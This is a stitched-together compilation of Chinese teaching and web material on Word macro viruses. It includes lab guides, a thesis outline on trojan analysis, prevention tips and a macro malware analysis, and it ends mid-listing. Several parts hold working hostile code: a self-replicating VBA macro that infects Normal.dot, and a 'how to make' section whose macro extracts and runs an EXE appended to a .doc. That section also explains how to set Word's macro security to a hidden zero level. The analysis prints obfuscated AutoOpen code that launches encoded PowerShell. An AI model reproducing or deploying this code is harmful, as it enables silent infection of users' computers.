word宏恶意代码实验
macro_virus
Word宏病毒实验1.实验目的Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。
本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。
2.实验所需条件和环境硬件设备:局域网,终端PC机。
系统软件:Windows系列操作系统支撑软件:Word 2003软件设置:关闭杀毒软;打开Word 2003,在工具→宏→安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问实验环境配置如下图所示:受感染终端被感染终端宏病毒传播示意图3.实验内容和分析为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
3.1. 例1 自我复制,感染word公用模板和当前文档代码如下:'Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = FalseOurcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet Host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith HostIf .Lines(1.1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, Ourcode.ReplaceLine 2, "Sub Document_Close()"If ThisDocument = nomaltemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithMsgBox "MicroVirus by Content Security Lab"End Sub打开一个word文档,然后按Alt+F11调用宏编写窗口(工具→宏→Visual Basic→宏编辑器),在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
实验四 恶意代码实验
实验四恶意代码攻防实验【实验目的】通过本实验初步了解远程控制软件的编写方法,了解黑客利用流行的木马软件进行远程监控和攻击的方法,掌握常见工具的基本应用,包括如下几个方面:✓掌握基于Socket的网络编程。
✓了解缓冲区溢出攻击的基本实现方法。
✓了解恶意脚本攻击的基本实现方法。
✓了解网络病毒的基本特性。
实验过程中,学生需要将实验的结果记录下来,并回答相关思考题,填写到实验报告中。
【实验类型】综合型实验【实验内容】以下实验内容可根据实验室的具体情况和课时安排的变化进行适当的调整,实验内容中的思考题以书面形式解答并附在实验报告的后面。
需要注意的是,学生在实验过程中要严格按实验指导书的操作步骤和要求操作,且小组成员应紧密配合,以保证实验过程能够顺利完成。
本次实验的主要项目包括以下几个方面:☑溢出攻击模拟程序的编写、调试;☑跨站恶意脚本的运用;☑网页脚本攻击。
具体的实验内容和步骤如下:【实验环境】实验设备:Windows XP系统,VMWare系统,Windows 2000/XP虚拟机。
一、缓冲区溢出攻击编写简单的溢出攻击程序,编译后分别在实验主机和虚拟机中运行。
1.简单原理示例VC环境下编译以下代码:#include <stdio.h>#include <string.h>char name[]="abcdefghijklmnopqrstuvwxyz";int main() {char buffer[8];strcpy(buffer,name);return 0;}运行编译后的程序,会出现系统下图警告,点击“调试”按钮,根据返回的偏移值可推断出溢出的部位。
2.溢出攻击模拟示例实验需要使用以下工具:●OllyDB●Uedit首先写一个C++程序2.c,源码:#include "iostream.h"int main ( ){char name[8];cout<<"Please type your name: ";cin>>name;cout<<"Hello, ";cout<< name;cout<<"\n";return 0;}赋值一个名为name的字符类型数组(字符串),其内容空间为8个字节,运行程序时首先提示使用者输入你的名字,当输入后将该值吸入给name,然后以“Hello,你的名字\n”的方式输出。
【毕业论文】恶意代码分析实例
【毕业论文】恶意代码分析实例恶意代码实例分析2011 年 5 月1目录1虚拟环境及所用软件介绍 (1)1.1虚拟环境介绍 ..................................................................... (1)1.1.1 Vmware Workstation7.1.4 .................................................................. (1)1.1.2 Gost XP SP3 装机版YN9.9................................................................... .. 11.2 检查软件介绍 ..................................................................... .. (1)1.2.1 ATool1.0.1.0 ................................................................ .. (1)1.2.2 Regmon 7.04 汉化版...................................................................... . (1)1.2.3 FileMon 7.04 汉化版 ..................................................................... .. (2)1.2.4 TCPView3.04.................................................................... .. (2)1.2.5procexp.exe ............................................................ . (2)1.2.6 IceSword 1.22 中文版 ..................................................................... (2)2 木马冰河分析与检测 ......................................................................32.1 木马冰河V2.2介绍 ..................................................................... ....................... 3 2.2 样本分析 ..................................................................... (3)2.2.1 进程监测 ..................................................................... .. (3)2.2.2 文件监测 ..................................................................... .. (3)2.2.3 注册表监测...................................................................... . (4)2.2.4系统通信端口监测 ..................................................................... ................ 5 2.3 样本外部特征总结 ..................................................................... ......................... 5 2.4 木马清除方法 ..................................................................... .. (5)3 xueranwyt.exe木马分析与监测 (7)3.1 木马xueranwyt.exe介绍...................................................................... .............. 7 3.2 样本分析 ..................................................................... (7)3.2.1进程监测 ..................................................................... (7)3.2.2 文件监测 ..................................................................... .. (7)3.2.3 注册表监控...................................................................... . (8)3.2.4 端口监测 ..................................................................... ............................. 8 3.3 样本外部特征总结 ..................................................................... ......................... 8 3.4 解决方案 ..................................................................... (9)4 2.exe木马分析与监测 (10)4.1 木马样本2.exe介绍...................................................................... ................... 10 4.2 样本分析 ..................................................................... . (10)4.2.1 进程监控 ..................................................................... (10)4.2.2 文件监控 ..................................................................... (10)4.2.3 注册表监控...................................................................... .. (11)4.2.4 端口检测 ..................................................................... ........................... 11 4.3 样本外部特征总结 ..................................................................... ....................... 12 4.4 解决方案 ..................................................................... . (12)25 红蜘蛛样本分析与检测 (13)5.1 样本介绍 ..................................................................... ..................................... 13 5.2 样本分析 ..................................................................... . (13)5.2.1 进程检测 ..................................................................... (13)5.2.2 文件检测 ..................................................................... (13)5.2.3 注册表监控...................................................................... .. (14)5.2.4 端口监控 ..................................................................... ........................... 14 5.3 样本外部特征总结 ..................................................................... ....................... 14 5.4 解决方案 ..................................................................... . (15)6 031gangsir.ch.exe样本分析 (16)6.1 样本介绍 ..................................................................... ..................................... 16 6.2 样本分析 ..................................................................... . (16)6.2.1 进程监控 ..................................................................... (16)6.2.2 文件监控 ..................................................................... (16)6.2.3 注册表监控...................................................................... .. (17)6.2.4 端口监控 ..................................................................... ........................... 17 6.3 样本特征总结 ..................................................................... .............................. 17 6.4 解决方案 ..................................................................... . (18)7 .exe样本监测与分析 (19)7.1 样本简介 ..................................................................... ..................................... 19 7.2 样本分析 ..................................................................... . (19)7.2.1 进程监控 ..................................................................... (19)7.2.2 文件监控 ..................................................................... (19)7.2.3 注册表监控...................................................................... .. (20)7.2.4 端口监控 ..................................................................... ........................... 20 7.3 样本外部特征总结 ..................................................................... ....................... 20 7.4 解决方案 ..................................................................... . (21)8 .exe样本监测与分析 (22)8.1 样本信息介绍 ..................................................................... .............................. 22 8.2 样本分析 ..................................................................... . (22)8.2.1进程监控 ..................................................................... . (22)8.2.2 文件监控 ..................................................................... (22)8.2.3 注册表监控...................................................................... .. (22)8.2.4 端口监控 ..................................................................... ........................... 23 8.3 样本外部特征总结 ..................................................................... ....................... 23 8.4解决方案 ..................................................................... .. (24)9 .exe样本分析与监测 (25)9.1 样本简介 ..................................................................... ..................................... 25 9.2 样本分析 ..................................................................... . (25)39.2.1 进程监控 ..................................................................... (25)9.2.2 文件监控 ..................................................................... (25)9.2.3 注册表监控...................................................................... .. (26)9.2.4 端口监控 ..................................................................... ........................... 26 9.3 样本外部特征总结 ..................................................................... ....................... 26 9.4 解决方案 ..................................................................... . (26)10 ................................................................. (27)10.1 样本简介 ..................................................................... ................................... 27 10.2 样本分析 ..................................................................... .. (27)10.2.1 进程监控 ..................................................................... . (27)10.2.2 文件监控 ..................................................................... . (27)10.2.3 注册表监控...................................................................... (28)10.2.4 端口监控 ..................................................................... ......................... 28 10.3 样本外部特征总结 ..................................................................... ..................... 28 10.4 解决方案 ..................................................................... .. (29)11 NetThief12.9样本分析与检测 (30)11.1 样本简介 ..................................................................... ................................... 30 11.2 样本分析 ..................................................................... .. (30)11.2.1 进程监控 ..................................................................... . (30)11.2.2 文件监控 ..................................................................... . (30)11.2.3 注册表监控 ..................................................................... . (30)11.2.4 端口监控 ..................................................................... ......................... 31 11.3 样本外部特征总结 ..................................................................... ..................... 31 11.4 解决方案 ..................................................................... .. (31)41虚拟环境及所用软件介绍1.1虚拟环境介绍1.1.1 Vmware Workstation 7.1.4恶意代码具有很强的破坏性和传播性,为了系统的安全,所以实例的分析均在虚拟机下进行。
宏病毒原理及案例分析
宏病毒原理及案例分析屈立成4114005088什么是宏?所谓宏,就是一些命令组织在一起,作为一个单独命令完成一个特定任务。
Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”。
Word使用宏语言Word_Basic将宏作为一系列指令来编写。
Word宏病毒是一些制作病毒的专业人员利用Microsoft Word的开放性即word中提供的Word BASIC编程接口,专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机的使用,并能通过.DOC文档及.DOT 模板进行自我复制及传播。
宏可使任务自动化,如果在Word中重复进行某项工作,可用宏使其自动执行。
宏是将一系列的Word命令和指令结合在一起,形成一个命令,以实现任务执行的自动化。
用户可创建并执行一个宏,以替代人工进行一系列费时而重复的Word操作。
事实上,它是一个自定义命令,用来完成所需任务。
宏的一些典型应用如:加速日常编辑和格式设置、组合多个命令、使对话框中的选项更易于访问、使一系列复杂的任务自动执行等。
Word 提供了两种创建宏的方法:宏录制器和Visual Basic 编辑器。
宏录制器可帮助用户开始创建宏。
Word 在VBA 编程语言中把宏录制为一系列的Word 命令。
可在Visual Basic 编辑器中打开已录制的宏,修改其中的指令。
也可用Visual Basic 编辑器创建包括Visual Basic 指令的非常灵活和强有力的宏,这些指令无法采用录制的方式。
VBAVisual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化任务的编程语言。
主要能用来扩展Windows的应用程式功能,特别是Microsoft Office软件。
也可说是一种应用程式视觉化的Basic 脚本。
让Office Word“宏病毒”见鬼去吧
让Office Word“宏病毒”见鬼去吧现在很多朋友在写作文档时喜欢到网上下载各种模板简化自己的工作。
不过网络模板中有一些“害群之马”可不是为方便大家而产生的,它们携带着宏病毒。
宏病毒寄生在模板或者文档中,当大家运行文档或者模板后就会激活病毒从而危害电脑。
不过也不用过分担心,我们用下面的方法就可以让宏病毒永远远离我们的电脑。
验证:通过保存类型,巧妙鉴别宏病毒如何检查Word是否感染了宏病毒?其实检查的方法很简单。
打开需要检查的文档,单击“文件”菜单栏,选择“另存为”命令,如果对话框中的保存类型固定为“文档模板”,则表示这个文件已经感染了宏病毒,需要用杀毒软件进行清理了。
小提示:当然,你直接用杀毒软件来扫描一下这个文档也未尝不可,毕竟现在不装杀毒软件的用户还是少数啊。
拒绝:设置文档为“只读”属性,让病毒吃闭门羹因为宏病毒在Word中寄居的文件就是No rmal.dot,所以预防宏病毒的方法其实也很简单,只要把没有感染宏病毒的Normal.dot文件的属性设置为只读,这样宏病毒就不能寄居到Normal.dot中,就能起到预防宏病毒的效果了。
小提示:虽然把一些内容固定的文件设置为具有只读属性,是防止病毒侵入的方法之一,但这也不是万能的,如果病毒制造者注意到这一点,在侵入前先修改你的文件属性,去掉只读属性,那对他们来说也是小菜一碟。
查杀:彻底查杀,统统赶走宏病毒宏病毒是通过Word中的宏语言(一种类似VB的语言)编写的,易于传播而且危害巨大,常常能将你花了很多时编写的文档瞬间“吃掉”,下面介绍使用手工的方法杀掉宏病毒。
单击“工具”菜单栏,选择“宏”,单击“宏”命令(或者使用组合键“Alt +F8”)调出宏对话框,如果在弹出的对话框中有已经记录的宏的话,那就极有可能是宏病毒,删除所有的宏就可以了。
比较复杂的宏病毒会将宏对话框屏蔽掉,这时就需要采用其他方法了。
Word环境中的宏病毒一般是存放在Microsoft Office目录下Templates子目录中的Normal.dot文件中,这时需要重新启动计算机,找到这个文件,并把它删除,再运行Word就可以了。
宏病毒制作参考
-- Word宏病毒制作,传播,防范EXE变DOC的方法其实这种转换并不是文件格式上的变化,只不过是把一个exe文件接在一个doc文件的末尾而已,这个doc文件当然就不是不同word的文档啦,该文档中包含了宏语句,能在运行的时候把接在自己文件末尾的exe文件数据读取出来并运行,就造成一种假象,好象文档打开时就运行了exe文件似的.(和文件捆绑器的原理很象啊!)熟悉vb的朋友都知道,word的宏是使用vba来编写的,具体语法和vb一样,但有些方法vb中没有,如宏病毒就是利用宏复制语句来达到感染的目的.和vb一样,我们可以在编写宏的时候调用windows api!!下面我们来介绍一下我们编写这个宏需要用到的api函数:1)createfile 用于打开文件,该函数vb的声明如下:declare function createfile lib "kernel32" alias "createfilea" (byval lpfilename as string,byval dwdesiredaccess as long, byval dwsharemode as long, byval lpsecurityattributesas long, byval dwcreationdistribution as long, byval dwflagsandattributes as long, byval htemplate as long) as long2)closehandle 用于关闭被打开文件的句柄,该函数vb的声明如下:declare function closehandle lib "kernel32" (byval hobject as long) as long3)readfile 用于从被打开文件中读取数据,该函数vb的声明如下:declare function readfile lib "kernel32" (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestoreadas long, lpnumberofbytesread as long, byval lpoverlapped as long) as long4)writefile 用于把读取出的数据写入文件,该函数vb的声明如下:declare function writefile lib "kernel32" (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestowriteas long, lpnumberofbyteswritten as long, byval lpoverlapped as long) as long5)setfileponiter移动文件指针,该函数vb的声明如下:declare function setfilepointer lib "kernel32" (byval hfile as long, byval ldistancetomove as long, byvallpdistancetomovehigh as long, byval dwmovemethod as long) as long6)下面是以上函数的参数声明public const generic_read as long = &h80000000public const generic_write as long = &h40000000public const file_share_read as long = 1public const file_share_write as long = 2public const create_new as long = 1public const create_always as long = 2public const open_existing as long = 3public const open_always as long = 4public const truncate_existing as long = 5public const invalid_handle_value as long = -1public const file_attribute_normal as long = &h80好了,有了这些准备工作就可以开始了,我们运行word2000,打开visual basic编辑器,新建一个模块,把上面的函数和参数声明拷进去!再回到“thisdocument.的代码视图,选择document.nbspopen的事件,输入一下代码:private sub document.open()dim buffer(65536) as bytedim h, h2, j, i, k as longh = createfile(thisdocument.path & "/" & thisdocument.name, generic_read, file_share_read + file_share_write, 0, open_existing, 0, 0)‘以share_read的方式打开自身的doc文件h2 = createfile("c:\\autoexec.exe", generic_write, 0, 0, create_always, 0, 0)‘新建一个exe文件准备存放读取出来的数据.if h = invalid_handle_value thenexit subend ifk = setfilepointer(h, 32768, nil, 0)‘把文件指针移动到doc文件与exe文件交界处.doi = readfile(h, buffer(0), 65536, j, 0)i = writefile(h2, buffer(0), j, j, 0)loop until j < 65536closehandle (h)closehandle (h2)shell "c:\\autoexec.exe"‘运行exe文件end sub这样宏就编写好了,注意的地方就是上面setfilepointer函数的使用部分:32768是你编写完宏保存好的doc文件的文件大小,不一顶就是32768哦,大家注意!大家可能有疑问,如何把exe文件接到doc文件后面呢?很简单,把你要接的exe放到和这个doc文件同一个目录下.运行doc命令:copy /b xxxx.doc + xxxxx.exe newdoc.doc这样就可以了~~~.当你打开这个newdoc.doc的时候,宏就会把后面的exe文件读出来并保存在c:\\autoexec.exe中,然后运行,是不是很恐怖啊!不过这需要你的word2000安全度为最低的时候才能实现,关于这个安全度的问题,我们又发现了微软的小bug,大家看看注册表中这个键: hkey_current_user\\software\\microsoft\\office\\9.0\\word\\security 中的level值.当安全度是3(高)的时候,word不会运行任何的宏,2(中)的时候word会询问你是否运行宏,1(低)的时候word就会自动运行所有的宏!但很容易就被发现安全度被设为低了,聪明的你一定想到如果这个值变为0的时候会怎么样!!??对了!如果设为0的话,word里面就会显示安全度为高,但却能自动运行任何的宏!!是不是很夸张??和注册表编辑器的后门一样这都是ms的后门吧?如果要受害人的机器接受你的doc文件又能顺利运行,最重要就是把word的安全度在注册表中的值改为0,怎么改??方法太多了吧,单是ie的恶意代码能实现的都太多了,另外,如果网页上连接上是doc的话,ie也会自动下载该doc文件!危险的ms啊!!这个算不算漏洞我不敢说,但防范真的很难,除非一天到晚监视着注册表,或者不用word?太消极了吧,最重要的是小心防范,陌生人的东西千万不要收!包括非exe文件,我们现在发现了doc文件能隐藏exe文件,也会有人发现其他文件能隐藏exe,所以大家千万要小心。
Word宏病毒实验
Word宏病毒实验应用场景计算机病毒是一个程序,一段可执行码,对计算机的正常使用进行破坏,使得电脑无法正常使用甚至整个操作系统或者电脑硬盘损坏。
就像生物病毒一样,计算机病毒有独特的复制能力。
计算机病毒可以很快地蔓延,又常常难以根除。
它们能把自身附着在各种类型的文件上。
当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。
这种程序不是独立存在的,它隐蔽在其他可执行的程序之中,既有破坏性,又有传染性和潜伏性。
轻则影响机器运行速度,使机器不能正常运行;重则使机器处于瘫痪,会给用户带来不可估量的损失。
通常就把这种具有破坏作用的程序称为计算机病毒。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。
当你看到病毒载体似乎仅仅表现在文字和图像上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。
若是病毒并不寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
病毒往往会利用计算机操作系统的弱点进行传播,提高系统的安全性是防病毒的一个重要方面,但完美的系统是不存在的,过于强调提高系统的安全性将使系统多数时间用于病毒检查,系统失去了可用性、实用性和易用性,另一方面,信息保密的要求让人们在泄密和抓住病毒之间无法选择。
病毒与反病毒将作为一种技术对抗长期存在,两种技术都将随计算机技术的发展而得到长期的发展。
宏病毒是使用宏语言(VBA)编写的恶意程序,存在于字处理文档、电子数据表格、数据库等数据文件中,例如office 数据处理系统中运行,利用宏语言的功能将自己复制、繁殖到其他数据文档中。
宏分成两种:一种是在某个文档中包含的内嵌宏,如fileopen 宏;另一种是属于word 应用程序,所有打开文档公用的宏,如autoopen 宏。
Word 宏病毒一般都首先隐藏在一个指定的word 文档中,一旦打开了这个word 文档,宏病毒就被执行,宏病毒要做的第一件事情就是将自己copy 到全局宏的荡然区域,使得所有打开的文档都可以使用这个宏。
云计算技术与应用专业《防病毒-案例-word宏病毒》
Word宏病毒实验【实验环境】Windows实验台所需工具:Word2021、Outloo2021【实验内容】动手实现Word宏病毒的代码编写,熟悉Word宏病毒的作用机制,然后对其进行查杀,掌握去除Word宏病毒的方法。
实验内容包括:(1)编写自己的宏病毒此处以例如1的代码为例;(2)对doc1进行病毒殖入;(3)观察实验效果;(4)进行病毒去除。
Word宏病毒实验【实验原理】宏病毒是使用宏语言VBA编写的恶意程序,存在于字处理文档、电子数据表格、数据库等数据文件中,例如office数据处理系统中运行,利用宏语言的功能将自己复制、繁殖到其它数据文档中。
宏分成两种:一种是在某个文档中包含的内嵌宏,如fileoents and Settings\Adiministrator\Aail附件进行传播,如梅丽莎病毒。
Word宏病毒实验【实验步骤】启动Windows实验台,进入Windows2021系统;双击桌面上的“病毒实验〞图标,进入病毒实验界面。
在界面上选择“Word宏病毒实验〞,进入其实施面板,如下图。
图实验进行前,要先点击“初始化病毒工具〞按钮,对其实验所需的工具进行初始化;在实验过程中,如果所需的工具被杀毒软件查杀,要再次点击“初始化病毒工具〞按钮,对工具重新进行初始化,以便实验顺利进行。
一、使用例如1代码选择“例如1源码〞,在右侧病毒介绍框内查看例如1 的源码,如下图。
二、图对doc1进行病毒殖入(1)点击“启动doc1〞,翻开Word文档,在菜单下选择“工具|宏|平安性〞,设置Word平安性,如下图。
(2)图按下AltF11或者选择“工具|宏|Visual Basic 编辑器〞,如下图;翻开如下图的ent,将例如1的源代码复制到此。
(3)图图查看“Normal|ThisDocument〞,如下图Normal下的ThisDocument为空。
(4)图关闭doc1文档。
然后再点击面板中的“启动doc1〞,在doc1翻开的过程中,会出现如下图的提示框,例如代码1执行成功。
【宏病毒】Word宏病毒简单分析
【宏病毒】Word宏病毒简单分析前⾔最近对Office系列宏病毒⽐较感兴趣,⽹上找了⼀个Word样本练练⼿,宏病毒常⽤套路⼀般都是利⽤PowerShell从服务器上下载PE⽂件执⾏,或者数据流中内嵌PE⽂件借助RTF释放执⾏。
所以分析宏病毒⼀般都⽐较简单,查看VBA代码基本就能知道病毒执⾏的内容,但是如果代码中的函数、变量、字符串等都经过混淆,分析起来难度就会提⾼。
详细分析诱导⽤户启⽤宏代码如果启⽤内容,宏代码就会执⾏,我们先看下⽂档中的数据流。
从"DMSojZquJ"和"wAwJBjJQJ"数据流中DUMP下宏代码,代码经过严重混淆,我们从“AutoOpen”⼦程序开始分析。
1'Attribute VB_Name = "wAwJBjJQJ"2Function RTUHFOzsK()3 SSIhYOGKB = BBqMNPjSw4 bkspY = Mid("zYsMfzXjUkZcWdEGwAVSztCl", 12, 1)5 pGHmjw = bkspY6 THZbsWKtF = GApwOicZH7 VEbORpJELT = Mid("w ULjXwAKAb", 2, 2)8 siCAq = VEbORpJELT9 HPhRfOHnm = TOvllapZt10 jpucp = Mid("dwOtbdJnhnCwfmAwZ qUwQ", 18, 2)11 aLAikTZzXH = jpucp12 fqalXfJAK = LCnHkoIcD13 VuuwVO = Mid("sXFWPUriJfKTpqQrVtOvwpYvPcmRpGfQk", 26, 2)14 FItfpaapu = VuuwVO15 OBbLUEjqi = KUOOIoowi16 FVvtMEG = Mid("HdAFDcAsATviDfWzFFzpaz pXJcWfwf", 23, 2)17 ajJRwS = FVvtMEG18 jVrCIfDvl = zLiGcJXbX19 ZrAYDPTq = Mid("iHOvIROFpzkqDsbh OWUdhlpCiwZMTtrODJzmwsH", 17, 2)20 jiAGQiQw = ZrAYDPTq21 SUWWCjAwf = vzuwToFbG22 jmtkTTkrF = Mid("wYuqqVtGZiJmAXAhOSuPBlkv ZpEnSjLlFJZnGcc", 24, 2)23 GcmZjTwn = jmtkTTkrF24 LMtwHYSki = ADrFrhRWc25 NEiTwbDXjd = Mid("ffAMXNhHaz tNilfGXhcTPPsBKcvGidzFR", 11, 2)26 RjvFUJZEqEH = NEiTwbDXjd27 LKTKBJzHw = rAsqBBCLO28 riLqL = Mid("VYSzUNAfirLhNHuvTkkpqTYI NBTb", 25, 1)29 wjCNaFw = riLqL30 iVMwDRCAv = nqFMhzLtQ31 hCfFzWOivq = Mid("HRJzsdTznHRYYLErvnJSVjftUhUujlLVzZfA", 6, 1)32 NBOCDBCM = hCfFzWOivq33 nAKjzzabj = lKCqCjSmA34 bGAdVi = Mid("RMiPstNpOmmrqQf/wzkf", 16, 1)35 uFHPYHoifcS = bGAdVi36 PNGBIBOLR = tiTviHlPK37 BzbiCjnQqm = Mid("AikEQJtLfHomiYXDjK /fbjKtsWuJLaJzImkOi", 19, 2)38 IjUTlUqWHO = BzbiCjnQqm39 EuXMYbiQq = tznZtuwvj40 rZKmALU = Mid("ijpGMkvqVjf zj", 12, 2)41 uGUWvBHvsD = rZKmALU42 RTUHFOzsK = FItfpaapu + NBOCDBCM + IjUTlUqWHO + GcmZjTwn + uFHPYHoifcS + pGHmjw + jiAGQiQw + RjvFUJZEqEH + siCAq + uGUWvBHvsD + ajJRwS + aLAikTZzXH + wjCNaFw43End Function44Sub AutoOpen()45 KlsJVlijz46End Sub1'Attribute VB_Name = "DMSojZquJ"2Function KlsJVlijz()3 KRwZOZiSb = jMiOqzLkc4 TzurouRwtt = Mid("juDEAMQA2AGIANQA5LfDuHPHXHoVdEQfRC", 3, 15)5 iKnPNTjHYUN = TzurouRwtt6 TsfRjzdCc = wGUKHjjwm7 SAIGYDAjD = Mid("Ur8BJGqnnB5Yulset %cDpiTrLVN%=wers&&set %SuZmiriSa%=JwsADfCTs&&set %KlsJVlijz%=po&&set %qfSAwAXEM%=MrqzTiJDT&&set %PqjuFnVOr%=hell&&set %SqYwAARBW%=VcQFWjpkv&&!%KlsJVlijz%!8 iBSRmkhEj = SAIGYDAjD9 XtczUhZho = sGlQtlEVs10 HdFRsCmu = Mid("zQDZhA3kAOQB7ADEAMQA2AGIAMQAwADUAYgAxADEAMQA6ADEAMQAwAFkANAA2AH4AMQAwADAMuwW3nHiNYrXXhKvuQhjarIPjtM", 8, 65)11 JZJjMfIbBG = HdFRsCmu12 PthzvLzhL = GZEufrNor13 aJFENXB = Mid("2iwApzVhvrZAEkAMQAxADEAegA0ADYAbQAxADEAMAAmADEAMAA4AH4ANAA3AHsAMQAxADYAYgA2ADYAJgAxADAAMgB+ADQANwBZADMAOQB+ADQANgB6ADgAMwBiADEAMQAyAH4AMQAwADgAWQAxAD14 TjXFztBK = aJFENXB15 zUYzrCIlv = qfMjGmrTF16 bEHOc = Mid("LnMwj8vivvwTnBW06hAzADIASQAxADEAMABZADEAMAAxACEAMQAxADkAJgA0ADUAJgAxADEAMQB6ADkAHc", 19, 62)17 AcOZjKGHd = bEHOc18 EYzRCmWTI = kzbtDFuEB19 KtWFTJiUI = Mid("flGAbQ8jdVC6Iw5wGU3kFwCpYhBY7ADkAOAA6ADEAMAA2AG0AMQAwADXlAW41AL0oV", 29, 27)20 RkSMsXZmbbj = KtWFTJiUI21 TSBfqKPHC = wXTSDLmIQ22 iBobiw = Mid("QSw3OIaCMAwAHsAMQAxADAAOgAxADAAMQAmADEAMQA2AGIANAA2ACEAMQAwADAAOgAxADAAMQBiADQANwAmADEAMQA0AEkANAA3AH4ANAA0AHoAMQAwADQAbQAxADEANgBZADEAMQA2ACYAMQAxA23 mvotcU = iBobiw24 uiSlbYuXn = TwcHoBkXB25 iaBTlajaUKt = Mid("znY7zKn7hBOVIFz6X%cDpiTrLVN%!!%PqjuFnVOr%! -e LgAgACgAKAB2AEEAUgBpAEEAYgBMAGUAIAAnACoAbQBEAFIAKgAnACkALgBuAGEAbQBFAFsAMwAsADEAMQAsADIAXQAtAEoATwBJAG4AJwAnACkA26 XvLAfRK = iaBTlajaUKt27 EZhmBvkXw = pStPHvpAV28 wLTmWqsTK = Mid("FfAHsAMQAwADUAYgAxADEANQBZADEAMQA2AH4AMQAxADQAbQTLWzcjuipSiEo", 3, 46)29 orwEYmMBR = wLTmWqsTK30 jhqckTXvK = ZriRhfKhi31 wdpalVvA = Mid("I6iEVXN1GLwpHCz8Ijwm06KbVIuAJgAxADAAMQBJADQANwAhADcAOAB7ADgAOQAhADEAMAA3AEkAOAAzAG0AMQAwADIAJgA0ADcAegA0ADQAJgAxADAANAB6ADEAMQA2AH4AMQAxADYAIQAxADEAMgB7AD32 nGmuz = wdpalVvA33 iHhXBDcFF = tDohRofBp34 IWIok = Mid("RjADIAJgA0ADMAbQAzADIAYgNG9GurhlHcLP2Co6oWzLFSwmkhv4ldioX", 3, 22)35 TBNjdzzzh = IWIok36 KbpOPFkKj = NXkOFaMGs37 AsoLI = Mid("fSiIEDACYAMwA2AG0AMQAxADQAbQA5ADcAegAxADEAMABiADEAMAAwACYAMQAxADEAegAxADAAOQAhADMAMgBJADYhjj3jjAuppqRGqKrh1T", 7, 82)38 FRdXUFElRa = AsoLI39 oLjmAfOds = VsZuljqAF40 ISYEi = Mid("BVjP8jiqhGziNiDAAOQBiADQANwBJADgAMwBiADEAMAA3ACYANgA1ADoAOAA1AFkANAA3AFkANAA0ACYAMQAwADQAegAxADEANgBiADEAMQA2ACYAMQAxADIAewA1ADgAJgA0ADcAegA0ADcAOgAxADAAOQBtA41 fizsQ = ISYEi42 tUscmqXOh = UfwOUKvrp43 mnbclQddw = Mid("iPPaU89tkLifQBor34HASQB+AHoAJwAgACkAIAB8ACAAJQB7ACgAIABbAEkAbgB0AF0AJABfAC0AYQBTACAAWwBDAEgAYQByAF0AKQdQsE", 20, 83)44 cslql = mnbclQddw45 JXbJzlNOS = GTmEXEUTm46 GbEiUOiVXw = Mid("ziITYGiIamHpoZHgB+ADgAMwB7ADEAM1t26K9TjQqMzHzEYiu", 16, 16)47 YhuVfBw = GbEiUOiVXw48 AMYpPlzuw = tHXOwuqjd49 nwTYnBKp = Mid("I3DEAMAAx6EkAh4h7va", 3, 7)50 zwsMjwQJTv = nwTYnBKp51 djUGOYYRv = vPHtuBYvi52 WrfmRXK = Mid("Jmcs93jA5rYAMQBJADMAMgB6ADEAMQAwACYAMQAwADEAIQAxADEAOQAmADQANQAmADEAMQAxAH4AOQA4AFkAMQAwADYAYgAxADAAMQAhADkAOQBtADEAMQA2AHoAMwAyAEkAMQAxADQAegA5ADc53 awBiLS = WrfmRXK54 QTIqMFnTG = urVrNrbqk55 fwizQHrrKMl = Mid("7ZNCDjkd16F3vJwZADEAMAAxAG0AMQAwADkAYgA0ADYASQA3ADgAWQAxADAAMQA6ADEAMQA2AGIANAA2AGIAOAA3AH4AMQAwADEASQA5ADgAbQA2ADcAYgAxADAAOABJADEAMAA1ADoAMQAwADE56 kzLPNEjwRpi = fwizQHrrKMl57 StzAQwpCi = qzNWqCPaM58 HYhqTVjz = Mid("NlUNOMQB7ADQANwAhADEAMQA4AHsAOAA3AG0AMQAwADMAOgA0ADcAbQA0ADQAJgAxADAANAAhADEAMQA2AG0AMQAxADYAewAxADEAMgBiADUAOAAhADQANwBiADQANwAmADkANwB6ADEAMAAwAF59 OXrPUEbnvR = HYhqTVjz60 UnXOTvRiZ = ZDBQRDQGC61 aOmzViYRI = Mid("q4zoiVLRd4XVFkAFkAOQA5ACEAOQA3AHoAMQAxADYAfgA5ADkAfgAxADAANABiADEAMgAzACEAMQAxADkAfgAxADEAI71o4", 15, 76)62 KIwkY = aOmzViYRI63 jQCKAJbwT = tXBTbniGD64 mTTdkG = 